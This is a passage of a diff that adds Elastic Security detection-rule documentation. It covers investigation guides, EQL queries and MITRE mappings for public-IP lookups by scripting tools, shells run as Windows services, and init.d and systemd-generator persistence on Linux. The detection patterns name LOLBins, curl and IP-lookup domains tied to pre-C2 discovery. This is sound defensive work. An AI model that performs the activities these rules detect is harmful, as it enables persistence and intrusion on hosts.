if follow-on child processes, suspicious external egress, or broader spread appears and host criticality allows it. +- If confirmed malicious, isolate the host or restrict egress when binary identity, lineage, DNS, connection, or child-process evidence shows unauthorized internet discovery or pre-C2 activity. Block confirmed malicious `dns.question.name`, `dns.resolved_ip`, `destination.ip`, `process.hash.sha256`, and related domains, then scope other hosts and users for the same indicators before terminating processes or deleting artifacts. +- Eradicate only the scripts, binaries, scheduled tasks, run keys, or configuration changes identified during the investigation after scoping related hosts and users. Remediate the launcher, user context, or deployment path that introduced the public-IP lookup. +- Post-incident hardening: restrict unsigned or user-writable scripting and LOLBin execution where feasible, keep endpoint DNS and network telemetry enabled, and document any connectivity-check pattern or visibility gap for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-22-setup[Sysmon Event ID 22 - DNS Query] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and dns.question.name != null and process.name != null and +( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "RegAsm.exe", "vbc.exe", "RegSvcs.exe", "python.exe", "regsvr32.exe", "dllhost.exe", + "node.exe", "javaw.exe", "java.exe", "*.pif", "*.com", "curl.exe", "bun.exe") or + + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) or + + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + + ?process.executable : ( + "?:\\Users\\Public\\*.exe", "?:\\ProgramData\\*.exe", "?:\\Users\\*\\Downloads\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\Public\\*.exe", "\\Device\\HarddiskVolume*\\ProgramData\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*\\Downloads\\*.exe" + ) + ) and + dns.question.name : + ( + "ip-api.com", + "checkip.dyndns.org", + "api.ipify.org", + "api.ipify.com", + "whatismyip.akamai.com", + "bot.whatismyipaddress.com", + "ifcfg.me", + "ident.me", + "ipof.in", + "ip.tyk.nu", + "icanhazip.com", + "curlmyip.com", + "wgetip.com", + "eth0.me", + "ipecho.net", + "ip.appspot.com", + "api.myip.com", + "geoiptool.com", + "api.2ip.ua", + "api.ip.sb", + "ipinfo.io", + "checkip.amazonaws.com", + "wtfismyip.com", + "iplogger.*", + "freegeoip.net", + "freegeoip.app", + "geoplugin.net", + "myip.dnsomatic.com", + "www.geoplugin.net", + "api64.ipify.org", + "ip4.seeip.org", + "*.geojs.io", + "*portmap.io", + "api.db-ip.com", + "geolocation-db.com", + "httpbin.org", + "myip.opendns.com" + ) and +not ( + process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\platform\\*\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender\\platform\\*\\*.exe" + ) and user.id in ("S-1-5-18", "S-1-5-19") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-shells-via-services.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-shells-via-services.asciidoc new file mode 100644 index 0000000000..5cc8f8a2be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-shells-via-services.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-system-shells-via-services]] +=== System Shells via Services + +Windows services typically run as SYSTEM and can be used as a privilege escalation opportunity. Malware or penetration testers may run a shell as a service to gain SYSTEM permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 423 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System Shells via Services* + + +Attackers may configure existing services or create new ones to execute system shells to elevate their privileges from administrator to SYSTEM. They can also configure services to execute these shells with persistence payloads. + +This rule looks for system shells being spawned by `services.exe`, which is compatible with the above behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify how the service was created or modified. Look for registry changes events or Windows events related to service activities (for example, 4697 and/or 7045). + - Examine the created and existent services, the executables or drivers referenced, and command line arguments for suspicious entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the referenced files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check for commands executed under the spawned shell. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service or restore it to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "services.exe" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") and + + /* Third party FP's */ + not process.args : "NVDisplay.ContainerLocalSystem" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-v-init-script-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-v-init-script-created.asciidoc new file mode 100644 index 0000000000..a7dc975817 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-v-init-script-created.asciidoc @@ -0,0 +1,234 @@ +[[prebuilt-rule-8-19-34-system-v-init-script-created]] +=== System V Init Script Created + +Files that are placed in the "/etc/init.d/" directory in Unix can be used to start custom applications, services, scripts or commands during start-up. Init.d has been mostly replaced in favor of Systemd. However, the "systemd-sysv-generator" can convert init.d files to service unit files that run at boot. Adversaries may add or alter files located in the "/etc/init.d/" directory to execute malicious code upon boot in order to gain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 121 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System V Init Script Created* + + +The `/etc/init.d` directory is used in Linux systems to store the initialization scripts for various services and daemons that are executed during system startup and shutdown. + +Attackers can abuse files within the `/etc/init.d/` directory to run scripts, commands or malicious software every time a system is rebooted by converting an executable file into a service file through the `systemd-sysv-generator`. After conversion, a unit file is created within the `/run/systemd/generator.late/` directory. + +This rule looks for the creation of new files within the `/etc/init.d/` directory. Executable files in these directories will automatically run at boot with root privileges. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + +*Possible Investigation Steps* + + +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate whether any other files in the `/etc/init.d/` or `/run/systemd/generator.late/` directories have been altered. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path LIKE '/etc/init.d/%'"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path LIKE '/etc/init.d/%' OR path LIKE '/etc/init/%' OR path IN ('/etc/init', '/etc/inittab', '/etc/inittab2')\n\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate syslog through the `sudo cat /var/log/syslog | grep 'LSB'` command to find traces of the LSB header of the script (if present). If syslog is being ingested into Elasticsearch, the same can be accomplished through Kibana. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate whether this activity is related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses init.d for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Suspicious File Creation in /etc for Persistence - 1c84dd64-7e6c-4bad-ac73-a5014ee37042 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the maliciously created service/init.d files or restore it to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "file_create_event", "rename", "file_rename_event") +and file.path like ("/etc/init.d/*", "/etc/init/*", "/etc/init", "/etc/inittab*") and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "./envbuilder/bin/envbuilder", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "/opt/puppetlabs/puppet/bin/ruby", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "./usr/bin/podman", "/usr/lib/systemd/systemd", + "/usr/bin/buildah", "/dev/.buildkit_qemu_emulator", "/usr/lib/nvidia/post-install", "/usr/bin/dnf5", "/usr/sbin/yum-cron" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove", "dpkg-new") or + ?file.Ext.original.name like "*.dpkg-new" or + file.path like ("/etc/init.d/*beat*", "/etc/init.d/elastic-agent*") or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", "/var/lib/docker/overlay2/*/dockerd ", + "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.name in ("docker-init", "jumpcloud-agent", "crio") or + process.executable == null or + process.name in ("executor", "univention-config-registry", "install", "dockerd-entrypoint.sh", "platform-python*", "ssm-agent-worker") or + (process.name == "ln" and file.path : "/etc/init.d/rc*.d/*") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") or + (process.name == "cp" and file.path == "/etc/init.d/unified-monitoring-agent") or + (process.name == "./vmware-install.pl" and file.path == "/etc/init.d/vmware-tools") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-generator-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-generator-created.asciidoc new file mode 100644 index 0000000000..2c5a332a39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-generator-created.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-systemd-generator-created]] +=== Systemd Generator Created + +This rule detects the creation of a systemd generator file. Generators are small executables executed by systemd at bootup and during configuration reloads. Their main role is to convert non-native configuration and execution parameters into dynamically generated unit files, symlinks, or drop-ins, extending the unit file hierarchy for the service manager. Systemd generators can be used to execute arbitrary code at boot time, which can be leveraged by attackers to maintain persistence on a Linux system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Systemd Generator Created* + + +Systemd generators are scripts that systemd runs at boot or during configuration reloads to convert non-native configurations into unit files. Adversaries can exploit this by creating malicious generators to execute arbitrary code, ensuring persistence or escalating privileges. The detection rule identifies suspicious generator file creations or renames, excluding benign processes and file types, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the file path where the generator was created or renamed to determine if it is located in a standard systemd generator directory, such as /run/systemd/system-generators/ or /etc/systemd/user-generators/. +- Identify the process that created or renamed the generator file by examining the process.executable field, and determine if it is a known benign process or potentially malicious. +- Check the file extension and original extension fields to ensure the file is not a temporary or expected system file, such as those with extensions like "swp" or "dpkg-new". +- Investigate the history and behavior of the process that created the generator file, including any associated network connections or file modifications, to assess if it exhibits signs of malicious activity. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise that might suggest persistence or privilege escalation attempts. + + +*False positive analysis* + + +- Package managers like dpkg, rpm, and yum can trigger false positives when they create or rename files in systemd generator directories during software installations or updates. To handle these, exclude processes associated with these package managers as specified in the rule. +- Automated system management tools such as Puppet and Chef may also create or modify generator files as part of their configuration management tasks. Exclude these processes by adding them to the exception list if they are part of your environment. +- Temporary files with extensions like swp, swpx, and swx, often created by text editors, can be mistakenly flagged. Ensure these extensions are included in the exclusion list to prevent unnecessary alerts. +- System updates or maintenance scripts that run as part of regular operations might create or modify generator files. Identify these scripts and add their executables to the exclusion list to reduce false positives. +- Custom scripts or tools that are part of legitimate administrative tasks may also trigger alerts. Review these scripts and consider excluding their executables if they are verified as non-malicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious code and lateral movement. +- Terminate any suspicious processes associated with the creation or modification of systemd generator files to halt any ongoing malicious activity. +- Conduct a thorough review of the systemd generator directories to identify and remove any unauthorized or suspicious generator files. +- Restore any modified or deleted legitimate systemd generator files from a known good backup to ensure system integrity. +- Implement file integrity monitoring on systemd generator directories to detect unauthorized changes in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions for systemd generator directories to limit the ability to create or modify files to authorized users only. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and file.path : ( +"/run/systemd/system-generators/*", "/etc/systemd/system-generators/*", +"/usr/local/lib/systemd/system-generators/*", "/lib/systemd/system-generators/*", +"/usr/lib/systemd/system-generators/*", "/etc/systemd/user-generators/*", +"/usr/local/lib/systemd/user-generators/*", "/usr/lib/systemd/user-generators/*", +"/lib/systemd/user-generators/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "/usr/sbin/sshd", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/platform-python", + "./usr/bin/podman", "/usr/lib/dracut/dracut-install", "/usr/bin/dnf5", "/usr/libexec/packagekitd", "/usr/sbin/dnf", + "/kaniko/executor", "/dev/fd/3", "/usr/local/bin/defender", "./usr/bin/qemu-aarch64-static", "/usr/sbin/yum" + ) or + process.executable like ( + "/snap/docker/*/bin/dockerd", "/var/lib/docker/overlay2/*/dockerd", "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.name like~ ("ssm-agent-worker", "crio", "docker-init", "systemd", "pacman", "python*", "platform-python*") or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable == null +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: 